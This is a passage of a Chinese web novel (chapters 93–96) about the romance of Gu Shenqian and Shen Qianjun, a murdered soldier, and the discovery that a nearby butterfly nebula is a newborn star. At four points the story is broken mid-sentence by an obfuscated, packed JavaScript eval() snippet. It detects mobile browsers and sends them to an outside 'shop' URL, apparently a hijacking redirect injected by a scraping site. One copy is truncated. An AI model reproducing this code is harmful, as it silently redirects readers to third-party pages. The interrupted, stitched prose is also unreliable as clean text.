闪耀金色破土而来,硕大的钢筋长条霎时化作齑粉,随着金光星星点点的散落。 金光并没有停,耀眼的金色冲破这片压抑的霾景,徐徐覆盖住这里的每一片废墟。包围顾深浅的从满目残败变成了白金覆盖的云端,高洁而神圣。 顾深浅再次睁开眼。 她的褐色瞳孔已经全然成了金色,慢慢褪成了琥珀色。沈千峻坐在沙发边,搭着她的手,此时也睁开眼。 眼眶里仿佛还有没散干净的金。 顾深浅眨眨眼,一时竟没说出话。 沈千峻却温和得要命,他张开双臂:“过来抱抱。” 顾深浅鼻头泛酸,乖顺地过去拥住他。 “听说你给我做了蛋糕。” “是。” “怎么突然做这个?” “想为你做点事。”顾深浅诚实地说,“织梦说你会偷偷躲起来吃甜品不让别人知道,我猜你会喜欢。” 沈千峻笑意渐深,捏捏她的脸:“我喜欢的多着呢。” 顾深浅:“你喜欢什么,我都给。” 他反问道:“你说我喜欢什么?” 顾深浅乖顺地凑过去亲亲他唇珠:“都给。” 沈千峻眼神暗下来,一点没客气地锁着她的后颈,凶狠地掠过每一寸领地,确认染上了自己的味道才肯罢休。 他听到她不匀的喘息才依依不舍地放开她,眷恋地吻上她的嘴角。 “从今以后,不会再关着你。” “你想要的自由,我都能给。” 93. 情侣 当晚的蛋糕到底没吃成。 顾深浅情绪起伏了一整天,下午满腹心事又跟着杨楠折腾做蛋糕,晚上刚闭眼就进了梦魇。直到醒来见到沈千峻,才算是真正松了一口气。 她没有质询没有情绪,一反常态地乖巧,只是勾着他脖子不撒手,耳朵贴在他胸口,非要听着那里沉稳有力的心跳才能安眠。 沈千峻也什么都没问,什么都没说。 他把人打横抱起上楼,二人躺在顾深浅布置温馨的小屋,相互依偎,一夜无梦。 第二天顾深浅醒来的时候身边依旧没有人。 她下意识蹙起眉,就着睡衣往外走,到楼梯口时,听到楼下隐隐传来的对话声,她皱起的眉梢才舒展开。 “预计今晚到达海底研究所,两周内完成前置准备。开始动手还是要等您过去,暂时安排在二十天后,您方便吗?” 沈千峻在厨房摆弄着什么,杨楠规矩地站在厨房门口汇报着,罗亚跟在她身后。 “好,先这样,今……”沈千峻话音一顿,背对着顾深浅的身影微微侧倾,挑了挑眉,“稍等。” 见他上来,顾深浅扭头就跑。退化的体能在沈千峻面前不够看,没两步就被沈千峻迎面挡住,撞进了他怀中。 顾深浅索性闷在他胸口不抬头,破罐破摔地环着他的腰肢:“早上好。” 少女温热的气体透过单薄衣衫喷洒在他的胸口,那里沾了些湿热,沈千峻眼眸深邃。 下一秒,他单手抬起她的臀,顾深浅一声惊呼,下意识拥住他的脖颈。 沈千峻唇瓣贴着她的耳朵,低声威胁:“下次再不穿鞋,不让你下床了。” 顾深浅理直气壮:“你不在,我找你。” 沈千峻勾唇,抱着她拐进房间,在床边坐下,自己半蹲着给她套上拖鞋。 “杨楠送了点你爱吃的来。换完衣服出来吃饭。” 指尖无意划过她足底,顾深浅瑟缩着后退,没穿好的拖鞋险些掉了,沈千峻眼疾手快地拉住她脚踝,把鞋套好:“跑什么。” “没跑。”她忍着脚掌传来的战栗,尝试转移注意力,“我今天回三组上班吗?” “随你,你想去就去。” 沈千峻给她把鞋穿好,却并不着急起身。 他抬头仰望着她,凌厉的脸部线条全部暴露在顾深浅的眼底。 顾深浅心跳莫名加了速,情不自禁再向沈千峻讨一个他们都心知肚明的答案:“我想做什么都可以?” 沈千峻注视着他,深邃的眸中坚定又清澈:“都可以。” 顾深浅俯下身,双手捧着他的脸。 沈千峻冷冰冰的脸颊热起来。 她眨眨眼,促狭一闪而过:“我想带隋楚出个差。” 沈千峻:“……?做什么去?” “找隋宁。” “……” “嗯?”杨楠咬贝果的动作停住,“你的意思是,你要带隋楚去找隋宁。不是因为他要见隋宁,是你想向他请教地球附近的蝴蝶星云?” 顾深浅满意地点头:“非常到位!” “匪夷所思。”杨楠客观地评价,然后说:“科研组毕业前全科都要修,包括天文。大部分问题三组那几个就能回答你,为什么非得去找隋宁?” “因为他们已经回答过我了,答案非常统一。”顾深浅说,“暮蝴蝶,运动轨道与地球无重合,不认为存在风险。” 沈千峻冷笑一声,接收到来自顾深浅的凝视时又兀自低头喝粥,假装自己并不存在。 好像那声充斥着不满的动静不是他发出来的一样。 杨楠:……? 顾深浅什么都没听见似的:“但我还是觉得不对,又说不出哪里不对。所以要去找隋宁。星云是通过隋楚的作品为媒介看到的,所以带他一起去。” 杨楠说:“其实还有几个天文学的教授,都在曼城定居。你不考虑先请教一下他们吗?” 顾深浅摇头:“我不希望有太多人知道。特监处内部的科研组没重点抓过这块,外部的人我也不放心。如果隋宁得出的结论和他们一样,那就最好;如果不是,也许直接关乎地球的生死存亡,这是个举足轻重的角色。最重要的是,如果隋宁自身有问题,有隋楚在必然会第一时间察觉。这是最稳妥的做法。” “你不怕隋楚瞒骗?” “他那点心思都写脸上,骗不了谁。” “那你还真了解他。” 顾深浅一噎,好笑又无奈地向声源望去。 杨楠第一时间感觉到了恋爱的酸臭,三两口吃完贝果,拉着罗亚利落地站起来:“还有事情没交接完,先走了哈。” “对了,”他们健步如飞走到门口,杨楠忽然回过头,橙红长发下笑容绚烂: “喜结连理,百年好合。” 罗亚呆了一瞬,快速陪了个“百年好合”。 六区的门在他们身后合上,餐厅安静得只有二人的呼吸声。 顾深浅默不作声地坐近了两个位置,发现沈千峻脸色比刚才好看了很多。她在心底由衷把杨楠谢了又谢,一边凑到沈千峻胸口伸长耳朵。 胸口怦然加速的心跳声成了世上最动人的乐章,顾深浅满意地扬起嘴角,双眼眯成弯弯的月牙,勾着脖子坐到他腿上,学着隋楚他们喊:“沈、教、官。” “小孩子的醋也吃呀?” 沈千峻垂眼看她,岿然不动:“没有。” 顾深浅手指不安分地盘旋到喉结:“没有吗?那你在置什么气?” 不等沈千峻说话,她恍然大悟似的说:“嗷,是因为我没有亲你。” 她笑意盈盈,隔着衣服亲吻他的心脏,望着他眨眼:“给你补回来了,高兴点。” 沈千峻积压的东西攀升到了巅峰,他掠过她,让顾深浅跨坐在他身上,俯视着他。 顾深浅撩拨归撩拨,这么大尺度的体位还是让他满脸通红,她双手搭在沈千峻肩上,嗔骂着喊他名字。 一分钟前还在挑事儿的顾深浅,这时候羞赧得说不出话。 眼睛通红着,感觉要哭了。 不像狐狸,像兔子。 沈千峻看得很满意,脸上还绷着嘴角,眉宇间带着他独有的不怒自威,即使自下而上的姿势也没能削弱半分。 他敛眸望着她:“你再看看,我高兴吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13328346|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾深浅撇撇嘴低头,捧着他的脸沈千峻的眉心轻轻烙下一个吻。 看上去不情不愿,亲上去却格外温柔。 沈千峻脸上心里都满意了,他叩着她的后脑,从嘴角开始一点点加深这个吻,直到听着顾深浅气息不匀地呜咽,看着她眼角湿漉漉地溢着泪,才收了神通。 顾深浅见不得他这副嘴脸,愤愤地在他侧颈咬了一口。 沈千峻竟然还笑得胸膛震动。 顾深浅:? 你礼貌吗哥? 她没忍住翻了个白眼:“刚才高不高兴不知道,现在是挺高兴。” 沈千峻不置可否,揉揉她发旋,声音还带着不可名状的沙哑:“你呢,高兴吗?” 顾深浅活学活用:“你看看呢,我高兴吗?” 沈千峻认真看了她一眼,把她脑袋按了回去:“不能看了,算高兴吧。” 顾深浅:“……” 她伏在他肩上,瞥到一缕阳光从客厅窗帘的缝隙里倾泻而入,正洒在贵妃榻上。 她拍拍沈千峻的背:“抱我去客厅晒晒太阳。” 沈千峻托着她站起来,她一路像树袋熊似的扒着他。再到贵妃榻上,两个人紧紧贴着。 顾深浅背靠着沈千峻胸口,沈千峻把玩着她的发丝,日光洒在他们身上,动作熟练得仿佛已经做过无数次 和一对普通情侣无异。 安静待了没多久,就挺顾深浅说:“昨天的梦魇,你还记得吗?” 沈千峻的声音在她头顶响起:“嗯。” “我当时很害怕。” 顾深浅握住沈千峻兜着她的手:“先是一片黑,然后是蜂鸣声,后来不知怎么,我能听懂他在说什么了。那个声音其实,很寻常,甚至带着友好的善意,但就是莫名让我感到恐惧。” “后来声音不见了,我一个人在黑暗里奔走,什么都看不到,耳边明明已经没有动静了,脑海中还是一直反复回荡着那个声音。” 她说话间愈发颤抖,沈千峻反握住她,安抚的吻落在她的发顶,跃动的紫色元素贴过来,在旭日里传递着力量。 “不知道是梦魇。”沈千峻答道,“一开始以为你睡着了,后来发现你的精神领域不太对,所以探了精神力进去看看。没想到……” 沈千峻顿了顿,把人拥得更紧了点:“没想到差点让你吓死。” 他说的是悬在她头上的钢筋。 顾深浅转过身回抱着他:“可能也,未必就叫梦魇。” 沈千峻:“我确实没听织梦提过这些,你觉得是什么?” 她沉默半晌,才缓缓开口:“我总感觉,如果昨天梦里的钢筋真的砸下来,我可能真的会受伤。我觉得比起梦魇,这更像是……我的封印。” 沈千峻手一紧,顾深浅说:“我一直在想,我,玖安为什么要封印自己的力量?” “精神力是对元素的感知和控制,所谓封印实际就是用更强的力量在封闭原来的感知。地球觉醒精神力以来,织梦都没有听过任何一例。哪怕是我,也只听说过一例。” 沈千峻轻拍她的背脊。 他们都知道是哪一次。 94. 徐嘉 封印是一个很小众的词。 人类觉醒精神力至今,也只在玖安身上出现过一次,就是秦宓拼死送她回地球的时候,当时所封印的是玖安的力量。 秦宓的力量全部打入她体内,同时封印了泰半。一方面是因为玖安当时还是个孩子,如此强大的力量下她未必能承受;另一方面,过盛的力量落在热衷研究人类进化的地球,未必是一件好事。 而玖安给自己的封印,比这更复杂一些。 玖安消散前,给织梦留了一点帮助他适应人类社会;给徐飞扬留了一点教导他善用自己的力量;还有给沈千峻的,在他最后的承诺里缔结了生生世世的永久绑定。 最后的最后,她不止封印了自己的力量,还有记忆和技能。 封印的同时,也留下了解开的途径。 “什么途径?” “比如在你身边会慢慢恢复记忆,毕业展上做出勇敢的选择而二次觉醒的力量。”顾深浅任由男人把玩着发丝,认真地说,“我有一种直觉,昨天的梦魇就是我技能的封印。” 沈千峻问:“你从梦里出来,精神技能恢复了吗?” “没有。”顾深浅说,“可能是,打开方式不对?” 不等沈千峻说什么,她皱着眉否定,“也可能是我想多了。只是一种感觉,无从求证,一整晚我都睡得很好,一点梦都没做。” 骨节分明的指尖碾平她起伏的眉头,沈千峻说:“不着急。无论你能恢复到哪一步,我说过的话永远算数。” 顾深浅压着上扬的唇角明知故问:“什么话?” 沈千峻自然答道:“你想做什么都可以。” “如果我没有恢复技能,但想杀虫呢?” “想去就去。” 顾深浅挑眉,眼里大写的怀疑。 沈千峻继续说:“虫子藏头露尾,特监处长期设伏引诱都见不到两只,一般被视为宝贵教学材料,徐飞扬用来训新人的。你一个新来的,抢名额恐怕抢不过训练营的孩子。” “嘁。”顾深浅撇撇嘴,“就知道。” 沈千峻莞尔,额头抵着她的:“现在的地球虽然还算不上所谓‘太平盛世’,至少也不再是从前岌岌可危的战乱年代。” 他在她眉心烙下一个吻:“再过一段时间,不会再有什么能威胁到你。” 顾深浅一怔。 急促的紧急通讯声响起,打破一室静谧。 顾深浅先看了一眼他,在沈千峻默许的眼神里接通。 徐飞扬清朗的嗓音比平时低沉许多,带着风雨欲来的味道:“哥,找到徐嘉了。” “昨天夜里,在极光区的荒原山域发现了徐嘉和运输小队共计八人的尸体……体无完肤。” 徐飞扬一起发过来的还有一份附件材料,顾深浅只看了一眼就被沈千峻手掌盖住了,恢复视野时光脑干干净净,只有徐飞扬的视频通讯界面。 沈千峻说:“细说。” “当地联安署的同事在追查一伙嫌疑人的时候误入了山域。那里是无人区,山路陡峭,地势错综复杂,最后让那几个嫌犯跑了不说,回程还迷了路,误打误撞走到了一处山坳,就是材料上的地方。他们在那里发现了尸体,死相过于惨烈。法医在伤口上发现了异常元素的残留,于是联系了特监处。” 徐嘉。 顾深浅记得这个名字。 海朝区事件后,她和织梦在回程时提起暴毙在特监处的韩轩死状有异,看上去像是精神消亡了很久的人,但却能正常使用精神力。她曾经提醒过他,对林珊动手的伤兵很可能有着同样的情况。 那个伤兵就是徐嘉。 “异常元素?”顾深浅问,“什么样的异常元素?” 徐飞扬踌躇着说:“就……和人类的精神元素不太一样。” ……这什么新型废话? 顾深浅狐疑地看着光脑上的徐飞扬,徐飞扬向沈千峻眼神求救,顾深浅的视线也从光脑转移到了身边:“你俩对暗语呢?” …… “没有。”沈千峻略有无奈地弹了弹她眉心:“π星生物没有精神力,基地刚觉醒的天龙目前还没暴露出不同于地球人类精神元素的力量。目前已知生物里,力量会带着不同人类的精神元素的,只有一个人。” 顾深浅不明所以:“谁?” 光脑另一边的徐飞扬闻言瞪大了眼:“你不知道?” 沈千峻同时说:“周亦知。” 不等顾深浅反应,光脑界面又弹出了一条新的通讯,是个文本信息,通讯ID没有备注。 沈千峻挑眉:“我记得你不给陌生人留通讯。” “不是陌生人。”顾深浅说,“是解思涵。” “你看通讯就知道是她?” “嗯,上一阵常见,眼熟。” 他们音量不大,徐飞扬以为他们在说悄悄话,清了清嗓子:“我还在这儿呢。” “所以你的意思是,徐嘉一行人都死了,现在怀疑凶手是周亦知?”顾深浅沉吟片刻,“他的力量为什么会和人类不一样?杀了徐嘉,对他有什么好处?” 徐飞扬说:“尸检报告说,这几个人身上皮肤到脏器都有着不同程度的损伤,怀疑生前都经历过电击、药剂等多种折磨,像是规格不同的活体实验产物。” 活体实验。 顾深浅心跳了漏一拍,比她脑子反应更快的,她的手已经拉住了沈千峻。 沈千峻不动声色回握住她,对徐飞扬说:“够了。” 徐飞扬识趣地闭嘴,转了话头:“这都不重要。我急着找你说这事儿,是想跟你说,哥,无论怎么样,你不能去极光区。” 顾深浅即刻赞同地点头。 沈千峻只说了句“会有分寸”,冷漠结束通讯,扭脸就对上一道意味深长的目光。 “……?”沈千峻好整以暇,“这么看我,想亲我?” 顾深浅眯起眼。 转移话题。 她莫名笑了声,忽地拽过他的衣领。 沈千峻写满错愕的瞳孔陡然放大,顾深浅温软的唇一触即离,眼含笑意舔了圈上唇,“是想亲。” 沈千峻眸色深重,看上去很想做点什么,被顾深浅牢牢抵住底线,神色清明说正事:“你打算亲自去极光区?” 他们视线交缠,紫金交织宛若另一场暧昧的交锋,缠绵悱恻,又非要决出个高低。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388873|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 半晌,沈千峻轻叹:“是。” “为什么?极光区不是第一天乱,为什么现在要亲自过去?”顾深浅紧紧盯着他,“因为徐嘉,还是周亦知?” 见沈千峻还是沉默,顾深浅提醒道:“是你说的,我想知道什么,应该直接来问你。” 沈千峻忍俊不禁,在她脸侧刮了刮:“是。但有的事情,还是得等到合适的时候告诉你。” 顾深浅面露不满前,沈千峻接着说:“两者都有。” “当时选择转移徐嘉,并不只是为了保出徐飞扬。即使你没有点出徐嘉,我也有办法保出他。”沈千峻说,“我是真想把他送去联盟生物研究所。” 顾深浅一愣。 虽然她通过当时场景重现的一幕猜测徐嘉和韩轩可能有着相似的情况,但她只是看了一眼,哪怕是织梦因为也没有信心生物研究所一定会给出他们想要的答案。 她一直以为,送徐嘉去生物研究所是织梦的两手准备,而这个准备出了意外,误打误撞为徐飞扬正了名。 但现在看来…… “徐嘉精神领域消亡,□□一直维持着基本生命体征。你从一开始就知道这是怎么回事,把他送去,确信联盟研究所会给出你要的结论。但没想到的,他还在路上呢,就一整个车队一起消失了,现在还死在了极光区无人出没的荒原山域。” 顾深浅思考着说:“徐嘉身上有秘密。有人起初不希望他被送进研究所,后来是不希望他活着。如果他进了研究所……活着回来,会怎么样?” “傻姑娘。”沈千峻唇边带笑,不轻不重地弹她眉心:“劫走他确实是不希望他进研究所。徐嘉身上有他们不想让研究所知道并公开的秘密。抛尸可未必。” 顾深浅:“什么意思?” “徐嘉本来就是个死人。”沈千峻食指无意识地在她耳廓来回,慢悠悠地说,“抛尸在无人之境,身上都是各种活体实验的可怖痕迹,还残留着联安署的人都能一眼认出不对的精神元素……呵,这跟劫走他们可不是一回事。” 顾深浅大脑跟着他飞速运转:“你是说,带走徐嘉和抛尸的不是同一个人?” “你看过徐嘉消失的影像,他是凭空消失的。那是一种罕见的空间技能,罕见程度和你的元素控制一样,地球上仅见过一例。”沈千峻说,“就是周亦知。” “这么巧,抛尸在无人区的徐嘉和运输小队身上,还有周亦知的精神力残留。” 顾深浅说:“可是我听说,海朝区他逃出特级羁押室时候,你打伤了他。他负伤而逃,能在这么短的时间里得到徐嘉转移的消息,去抓人吗?哎哟,你轻点。” 她揉揉被捏疼的耳朵,眼神幽怨。 “他把你伤成那样,我该让他毫发无损地走?”沈千峻没好气地说:“你放心吧,他受点伤至多遭点罪,自愈能力甩你一条街。” “……禁止拉踩。” 这时,无人问津的光脑上,忽然又跳出了没有备注的ID。 顾深浅打开通讯页,上面只有两句话。第一句是刚才发的【方便说话吗?】,在顾深浅迟迟没有回复后,她又发送了第二句: 【远离极光区。】 95. 兄弟 春末夏初的林阳正是旅游黄金期,绵延的山脉间游客不断,白日里山间茶馆都坐满了人,一壶茶一杯水就能在这里坐上一整天。 但无论白天多少人,晚上都是要清场的。 入了夜的山林,就不是白天这样和煦了。 夜色静谧,树影摇曳,完成最后一轮巡山,守林人今日的任务也就结束了。 他拖着一身疲惫下山,浑然没注意,一道黑影从他身后掠过,混在林间的簌簌声中,了无痕迹。 黑影悄无声息地往相反的地方一路上山停在山巅,蓝紫光影流转间,他消失在林阳的苍茫云层间。 隋楚在原地伫立了半晌,才缓过劲儿似的摸摸鼻子。 这里高低错落的建筑,每一幢他都太熟悉了。 他的考前特训和结业考都在这里。 隋楚轻车熟路地径直往一个方向走,没两步眼前就凭空出现一道屏障拦住了他。 【权限不足,禁止通行。】 隋楚“……” 这算什么事儿! 他一肚子气话还没来得及骂,却猝不及防地听见了身后传来的熟悉笑声。 “噗嗤。”隋宁手插口袋杵在原地,眼底盈满笑意,“这是谁家的小孩儿?迷路了吗?” 隋楚僵在原地没动,隋宁一步步来到他身后,歪头看他:“迷路的话,哥哥带你走,要不要?” “嗯?怎么不说……” 隋宁话音未落,隋楚熊抱住他,二人胸膛紧紧贴着,连心跳都逐渐同频。 “我好想你。” 二十分钟后,隋楚使尽解数终于混进了隋宁的宿舍。 特训班没几个人,隋宁和为数不多的五个同学占了一栋楼。这会儿夜深人静,整栋楼连一点灯光都没有。 隋楚由衷感慨:“特训班作息还挺统一的。” “嗯。”隋宁应了声,“这个点都在天文台呢。” “嗯?”隋楚惊讶道,“这儿还有天文台?” “去年新建的。因为去年把天体物理加到了特训班的培训课程里,课程需要。”隋宁故意逗他说,“哥运气好吧?” 隋楚下意识想撇撇嘴说两句以示不屑,不知想到了什么,又全都咽了回去。 隋宁接过他的包,帮他脱下外套挂起来,絮絮叨叨:“沙发上坐会儿,或者你先去洗澡。不早了,有事明天再说。下次你过来至少提前跟我说一声,今天这样太仓促了,你平时爱用的东西,好多都没来得及准备。” 隋楚没答话,隋宁也忽然卡了下,又说:“哥不是怪你,是哥做得不好,让你不高兴了。” 可他有什么做得不好的呢?隋楚心想。 雪不是他让下的,他也无法预知,就算他可以,他人还在训练营,徐队一句话就能缚住他的手脚。 他已经做得够好了。 他只是太想他了而已。 还是没听到隋楚的回应,隋宁暗自叹了口气,又换了个话题:“听你刚刚说的,是顾工安排了你跟她一起出差来找我,但她临时有事来不了,所以你才名正言顺来的?” “嗯。” “是找个理由送你过来,还是真有事儿?” “真有事儿。”隋楚走到挂架旁,在包里翻了半天,找出了一个小黑盒朝隋宁晃了晃,扬起隋宁熟悉的笑脸,“顾工让我来找你看星星。” 见隋宁面露错愕,隋楚笑容有几分得意:“你看好了。” 隋楚故意放慢了打开黑盒的动作,让隋宁一点点看着星光倾泻,场景流转。 而他看着他神色一路从错愕,惊讶,欣喜的转变,多日以来的郁结都在这一刻烟消云散。 隋宁的房间成了万里星河,他平时通过成像看到的图景此刻完全映照在他的小屋里,眼前是缤纷的宇宙,脚下是蔚蓝的地球。 就好像他真的来到了他毕生最渴望到达的宇宙。 隋楚踏着骄傲的步伐,像极限开屏的孔雀,举手投足都在说着“我厉害吧快夸我”,开口还假模假样:“偶然间做出来的一个观星系统。也就这样吧,除了好看点没什么用。” 然而并没有听到期待中的反驳,隋宁痴迷地望着大小行星,只听进去了“好看”两个字,闻言随意地附和道:“嗯,是真好看。” 隋楚:“……” 啧。 他戳了戳隋宁的腰上的痒痒肉,隋宁一个激灵捂着躲开,见隋楚脸色还不怎么样,后知后觉地说:“不好意思,我看入迷了。” 隋楚莫名又被取悦了一下,正抬着他矜骄的下巴准备说一句没关系,就听隋宁补完了全句。 “差点忘了正事。”隋宁说,“顾工是想让我看什么?” ……。 不行咱看看脑子吧,哥。 隋楚无奈地叹气,指向最近的一团绚烂:“那个。” “蝴蝶星云?”隋宁走近两步正欲细看,脚步却倏地顿住,“不对。” 隋楚疑惑:“怎么了?” 隋宁不答,神色凝重地呼出了一个通讯:“与哥,你们还在天文台吗?嗯,观测视线里能看到蝴蝶星云吗?离地球距离应该很近。” 隋楚已经明白过来,他想起临走前杨楠交代的话,瞳孔骤缩。 对面与哥的效率很高,已经调整了镜头,找到隋宁要观测的地方:“有。距离数据还没出,目测应该还在安全范围内。运行轨道也很正常,怎么了?” 隋宁拧眉望向隋楚:“图像能截取吗?” 话音未落,来自隋楚的信息提示已弹出,正是蝴蝶星云的图像。 他们对视一眼,终于露出了见面到现在最默契的一笑。 与哥还在为难:“小宁,观测的数据图景都不能进通讯,你知道的。或者你现在过来一趟?” 隋宁:“没事儿与哥,给你发了张图像,你看看和你看到的星云一样吗?” 与哥点开图像,说:“对,就是这……咦?” “怎么了?” “嘶,好像不太对。”与哥举起放大图片和观测到的星象仔细对比,“天文台看到的蝴蝶星云,核心光圈内的结构看不到,只有一团光,能确定的都是理论上的东西。你这图……啧,基本能确定,里面就一颗恒星。这怎么拍出来的?无敌了。” 隋楚抱臂站在一边,极轻地哼了声,正对上隋宁似笑非笑的视线,收敛了点,摸摸鼻子又站好了。 “与哥,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388874|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说,我发你的图上是朝蝴蝶。” “基本能确定。”与哥肃然道,“你从哪儿看见的?可信吗?如果是真的,现在就得上报开紧急会议了。” 隋宁脸色一点点沉下:“好,我确认一下。谢了与哥。” 通讯结束,隋楚扬眉:“还需要确认什么?” 隋宁:“顾工让你来找我,是为了确认这是朝蝴蝶还是暮蝴蝶?” “是。” 隋宁走近两步,双眼聚焦在蝴蝶星云的中间,斑斓光华间若隐若现透着一个球体的影子,忽然很不解地望向他:“你看不出来?” “我怎么看得出来?”隋楚比他更不解,“我还想问你呢,为什么那个与哥一说,里面就一颗恒星,你马上就确定是朝蝴蝶?” “暮蝴蝶是一对恒星双向奔赴的死亡,朝蝴蝶是一颗恒星的诞生。如果是暮蝴蝶,必然有两颗势均力敌的恒星在一起消亡。如果只有一颗,必然是朝蝴蝶。” 隋宁疑惑:“你做天文项目的时候,没有带到过这些?我记得你毕业前虽然只是辅修,也有天文课啊。” “……混分的,哥。”隋楚有点臊地撇过脸,音量大起来,“再说,这么冷门的动词,考试也考不到啊。” “……” “你别说我啊我们那班的都这样。” “……” 难怪顾工要找他。 一来其他人的设备未必能像隋楚这个一样清晰观测,二来…… 他一言难尽地看着他弟,抬气又摇头。 “联系顾工或者徐队,需要科技组立即测算朝蝴蝶的影响范围。你做的成像上我无法确定,但目测总觉得太近了。” 隋宁望着看似近在眼前的星云,眉头再次蹙起:“要是真和我猜的距离一样,恐怕小半个地球都保不住。” 接到消息的时候,顾工正和传闻里不管事的老大沈千峻走在大名鼎鼎的极光区。 “好,我知道了。”顾深浅说,“尽快确定影响范围,重新测算运动轨迹。先不慌,就算真有恒星出生,地球也未必就在危险范围。我们只是先做好防御措施。” 通讯那头徐飞扬应声后,沈千峻说:“另外,先暂停隋宁的课程,让他来协助工作。另外技术兵里对天体物理有研究的,选一选,测算不能出错。” 通讯结束,四下再次回到了只有他们两个人的旷野。 顾深浅穿着厚重的奶白外套,和一身风衣的沈千峻并肩而行,却总走得不太老实。 她不是第一次在雪地走,却是第一次在没有地下通道的城市,被动地走在雪地里。 本该难熬的情境下,二人脸上却都是放松。 她头顶是流转的青色极光,而她和沈千峻就像是湖泊下遨游的生物,鱼游濠水。 沈千峻双手插兜,幽幽道:“以为你不喜欢雪。” “我哪来那么多毛病。” 顾深浅不跳了,等沈千峻走到旁边才跟他并行,整个人的气质瞬间沉下来:“沈千峻,我有一种预感。” “嗯?” “朝蝴蝶会炸,会波及地球。” 顾深浅看着头顶的极光,缓缓说:“第一着陆点,就在极光区。” 96. 合作 沈千峻笑着勾住她脖子:“天塌下来,我顶着呢。” 顾深浅没沉满一分钟就被无情打破,倚着他翻了个白眼,想着又觉好笑:“你是不是无敌太久了,真觉得没什么能克你?” “有啊。”沈千峻低头睨她,“这不正克着呢。” 顾深浅手肘杵他腰,瞪了他一眼:“我跟你说正经的。” 她从沈千峻的臂弯里站直,认真地说:“一旦朝蝴蝶诞生,只要地球在其波及范围内,别说是你,我们脚下的土地都将荡然无存。” “然后我将由骨到皮重组,从一个肉眼不可见的元素逐渐扩张,直至变回正常人。”沈千峻不痛不痒地说,“早习惯了。” “那你真想多了。”顾深浅刺了下,面无表情地说,“地球都毁了,你的元素无家可归,只能散落到苍茫宇宙里,那是光都要走上万万年的地方。你觉得你身体重组需要多长时间?” 沈千峻不吭声。 顾深浅继续说:“当然,这还是运气好的情况。宇宙又不是地球,对元素的影响太大了,一不小心碰到个暗物质,元素被吸引走了还是轻的,万一变质呢?你想过吗?你可能万万年过去都无法找回相同的元素构成,意味着你永远无法……唔……” 沈千峻的吻落在她唇上,吞下了她未尽的话语。 直到她喘息不止,他才大发慈悲地放开,舔了舔泛红的唇瓣,低声说:“收到,我会注意安全。” 顾深浅凶巴巴地瞪他一眼,丢下他径直向前。 可惜她脸通红,瞪视都成了撒娇,没有一点威慑力。 沈千峻三两步跟上,不近不远地走在她身后,好像这雪景多惬意似的。 身后的脚步声停了,顾深浅心下一紧,皱着眉回头。 沈千峻却鬼魅似的出现在她身侧,自然地牵起她的手塞进自己兜里。 对上顾深浅的目光时,他淡淡地问:“不冷吗?” 冷的。 北极光区实在太冷了。 顾深浅撇撇嘴角继续前行,“你怎么这么暖和?以前总冷得天然冰块似的。” 沈千峻脸上带着笑意,他伸出另一只胳膊,手踝骨五芒星正泛着光:“有人送了我一个保温球,然后她自己忘了。” “我才没忘。”顾深浅嘟囔着,没想到你真会用而已。 她清了清嗓子,转移话题:“你还没告诉我,为什么要来瞒着所有人来徐嘉的抛尸处?” “有人想我来。” “嗯?”顾深浅挑眉,联想得飞快:“你是说,这个人抛尸就是为了给你递消息?” “有可能。” “这未免也太残忍。”顾深浅意有所指地说,“这样的人你都合作?” 沈千峻轻笑着看她,屈指弹了弹她的额头:“想问就直说。怎么心思总这么重?问个事儿恨不得绕半个地球。” 顾深浅揉揉被他弹过的眉心:“是你瞒我的事情太多。” 沈千峻没说话,顾深浅疑惑地看着他,却见他扭过了脸,她的角度只能隐约看到他抿成线的下颌线。 “是我们分开太久了。” 男人低沉的声音散落在雪间,沾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425832|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了北极光区的温度。 那是久候的人才有的落寞。 顾深浅感觉自己像是被浸在了极光区的雪里,整个人被什么拖住了一样,沉得千斤重。 倏地,沈千峻揉揉她发顶:“中间的事情太多,只好辛苦你多花点时间给我,慢、慢、了解了。” 顾深浅捏了捏他手心,没说什么。 